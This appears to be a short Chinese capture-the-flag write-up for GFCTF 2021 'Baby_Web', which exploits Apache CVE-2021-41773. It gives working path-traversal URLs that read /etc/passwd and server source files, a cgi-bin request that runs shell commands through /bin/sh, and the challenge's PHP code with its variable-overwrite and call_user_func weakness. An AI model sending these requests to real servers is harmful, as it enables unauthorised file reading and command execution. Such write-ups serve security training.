NSS日刷-[GFCTF 2021]Baby_Web-CVE-2021-41773
poc读取
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
poc读取执行
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
这题执行不能输出
访问
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/var/www/index.php.txt
<?php error_reporting(0); define("main","main"); include "Class.php"; $temp = new Temp($_POST); $temp->display($_GET['filename']); ?>
访问class.php.txt
<?php defined('main') or die("no!!"); Class Temp{ private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg']; private $template; public function __construct($data){ $this->date = array_merge($this->date,$data); } public function getTempName($template,$dir){ if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); if(!is_file($this->template)){ die("no!!"); } } else{ $this->template = './template/index.html'; } } public function display($template,$space=''){ extract($this->date); $this->getTempName($template,$space); include($this->template); } public function listdata($_params){ $system = [ 'db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '', ]; $param = $where = []; $_params = trim($_params); $params = explode(' ', $_params); if (in_array($params[0], ['list','function'])) { $params[0] = 'action='.$params[0]; } foreach ($params as $t) { $var = substr($t, 0, strpos($t, '=')); $val = substr($t, strpos($t, '=') + 1); if (!$var) { continue; } if (isset($system[$var])) { $system[$var] = $val; } else { $param[$var] = $val; } } // action switch ($system['action']) { case 'function': if (!isset($param['name'])) { return 'hacker!!'; } elseif (!function_exists($param['name'])) { return 'hacker!!'; } $force = $param['force']; if (!$force) { $p = []; foreach ($param as $var => $t) { if (strpos($var, 'param') === 0) { $n = intval(substr($var, 5)); $p[$n] = $t; } } if ($p) { $rt = call_user_func_array($param['name'], $p); } else { $rt = call_user_func($param['name']); } return $rt; }else{ return null; } case 'list': return json_encode($this->date); } return null; } }
看一下/var/www/html/template/admin/index.html
<?php echo $this->listdata("action=list module=$mod");?>
理清关系后变量覆盖,在phpinfo里找即可
PAYLOAD
标签:
每日ctf
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】